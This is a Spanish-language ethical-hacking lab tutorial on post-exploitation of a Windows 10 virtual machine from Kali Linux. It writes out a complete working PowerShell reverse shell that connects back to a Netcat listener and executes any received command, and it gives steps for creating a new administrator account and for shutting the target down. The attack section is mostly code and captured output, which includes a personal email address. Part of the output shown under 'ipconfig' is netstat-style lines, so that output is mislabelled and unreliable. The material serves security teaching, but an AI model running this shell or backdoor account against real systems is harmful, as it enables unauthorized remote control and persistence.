

Comandos CMD de Windows para Hacking Remoto

Autor: Samuel García

Este proyecto tiene como objetivo que aprendas a utilizar comandos CMD de Windows en un contexto de hacking ético. Te guiará para establecer una conexión remota (reverse shell) desde una máquina Windows 10 hacia una máquina Kali Linux y ejecutar comandos para obtener información crítica del sistema objetivo.

Esta práctica simula la fase de post-explotación de un ataque ético, usando máquinas virtuales configuradas en modo puente para asegurar la comunicación en la red local.

Requisitos

- Máquina atacante: Kali Linux con Netcat (preinstalado).
- Máquina objetivo: Windows 10 con PowerShell y permisos para ejecutar scripts.
- Ambas máquinas deben estar en la misma red y poder comunicarse entre sí.

Paso 1: Verificar comunicación entre máquinas

Desde Kali, abre la terminal y ejecuta:

```
ping <IP-de-Windows>
```

Desde Windows, abre PowerShell y ejecuta:


```
ping <IP-de-Kali>
```

Si ambas máquinas responden correctamente, continúa al siguiente paso.

Paso 2: Preparar Kali Linux para recibir la conexión

En Kali, abre una terminal y ejecuta el siguiente comando para iniciar un listener en el puerto 4444:

```
nc -lvnp 4444
```



```
(kali㉿kali)-[~]  
$ nc -lvnp 4444  
listening on [any] 4444 ...  
connect to [10.0.2.11] from (UNKNOWN) [10.0.2.15] 51244
```

Este comando hará que Kali espere una conexión entrante desde la máquina Windows.

Paso 3: Establecer la reverse shell desde Windows

En la máquina Windows, abre PowerShell con permisos de administrador y ejecuta este script, reemplazando "IP-de-Kali" con la dirección IP real de Kali:

```
$client = New-Object System.Net.Sockets.TCPClient("IP-de-Kali", 4444);  
$stream = $client.GetStream();  
$reader = New-Object System.IO.StreamReader($stream);  
$writer = New-Object System.IO.StreamWriter($stream);  
$writer.AutoFlush = $true;  
  
while ($true) {  
    $data = $reader.ReadLine();  
    if ($data -eq "exit") { break }  
  
    try {  
        $result = Invoke-Expression $data 2>&1 | Out-String;  
        $writer.WriteLine($result);  
    } catch {  
        $writer.WriteLine("Error: $_");  
    }  
    $writer.Flush();  
}
```

```

PS C:\Windows\system32> $client = New-Object System.Net.Sockets.TCPClient("10.0.2.11", 4444);
>> $stream = $client.GetStream();
>> $reader = New-Object System.IO.StreamReader($stream);
>> $writer = New-Object System.IO.StreamWriter($stream);
>> $writer.AutoFlush = $true;
>>
>> while ($true) {
>>     $data = $reader.ReadLine();
>>
>>     if ($data -eq "exit") { break }
>>
>>     try {
>>         $result = Invoke-Expression $data 2>&1 | Out-String;
>>         $writer.WriteLine($result);
>>     } catch {
>>         $writer.WriteLine("Error: $_");
>>     }
>>
>>     $writer.Flush();
>> }

```

Este script permitirá que Kali envíe comandos a Windows y reciba las respuestas.

Paso 4: Comandos básicos para usar en la sesión remota

Desde Kali, ya podrás ejecutar en Windows comandos como:

- dir — Listar archivos y carpetas del directorio actual.
- systeminfo — Mostrar información detallada del sistema operativo.
- ipconfig — Mostrar configuración de red.
- tasklist — Listar procesos activos.
- hostname — Mostrar el nombre del equipo.
- net user — Listar usuarios del sistema.
- netstat -an — Mostrar conexiones de red activas.
- cd <ruta> — Cambiar directorio.
- mkdir C:\TestFolder — Crear nuevo directorio.

```

systeminfo
Nombre de host: DESKTOP-8Q2C0FU
Nombre del sistema operativo: Microsoft Windows 10 Home
Versión del sistema operativo: 10.0.19045 N/D Compilación 19045
Fabricante del sistema operativo: Microsoft Corporation
Configuración del sistema operativo: Estación de trabajo independiente
Tipo de compilación del sistema operativo: Multiprocessor Free
Propiedad de: sgarciaine@gmail.com
Organización registrada:
Id. del producto: 00326-10000-00000-AA455
Fecha de instalación original: 28/04/2025, 18:53:14
Tiempo de arranque del sistema: 27/06/2025, 20:55:46
Fabricante del sistema: innotek GmbH
Modelo del sistema: VirtualBox
Tipo de sistema: x64-based PC
Procesador(es): 1 Procesadores instalados.
[01]: Intel64 Family 6 Model 167 Stepping 1 GenuineIntel ~3600 Mhz
Versión del BIOS: innotek GmbH VirtualBox, 01/12/2006
Directorio de Windows: C:\Windows
Directorio de sistema: C:\Windows\system32
Dispositivo de arranque: \Device\HarddiskVolume1
Configuración regional del sistema: es;Español (internacional)
Idioma de entrada: es;Español (tradicional)
Zona horaria: (UTC+01:00) Bruselas, Copenhague, Madrid, Paris
Cantidad total de memoria física: 2.048 MB
Memoria física disponible: 362 MB
Memoria virtual: tamaño máximo: 4.250 MB
Memoria virtual: disponible: 759 MB
Memoria virtual: en uso: 3.491 MB
Ubicación(es) de archivo de paginación: C:\pagefile.sys
Dominio: WORKGROUP
Servidor de inicio de sesión: \DESKTOP-8Q2C0FU
Revisión(es): 8 revisión(es) instaladas.
[01]: KB5056577
[02]: KB5011048
[03]: KB5015684

```

```

ipconfig
TCP 192.168.0.131:139 0.0.0.0:0 LISTENING
TCP 192.168.0.131:50179 13.107.253.254:443 CLOSE_WAIT

```

Configuración IP de Windows

Adaptador de Ethernet Ethernet:

```

Sufijo DNS específico para la conexión. . : technicolor.net
Vínculo: dirección IPv6 local. . . : fe80::be1:8c5a:6bd0:45cb%2
Dirección IPv4. . . . . : 10.0.2.15
Máscara de subred . . . . . : 255.255.255.0
Puerta de enlace predeterminada. . . : 10.0.2.1

```

Paso 5: Comandos administrativos (requieren privilegios)

Con privilegios de administrador, puedes:

- Apagar el sistema: shutdown /s /t 0
- Reiniciar el sistema: shutdown /r /t 0
- Crear un usuario administrador con:

```
net user nuevo_usuario contraseña /add  
net localgroup Administradores nuevo_usuario /add
```

Paso 6: Finalizar la conexión

Para cerrar la sesión y terminar la reverse shell, desde Kali escribe:

```
exit
```

Esto finalizará el script en Windows y cerrará la conexión.

Consejos finales

- Practica siempre en entornos controlados, como máquinas virtuales y redes aisladas.
- Explora más comandos CMD para mejorar tus habilidades en post-explotación.
- Este ejercicio te ayuda a entender cómo los sistemas Windows pueden ser controlados remotamente y cómo protegerlos.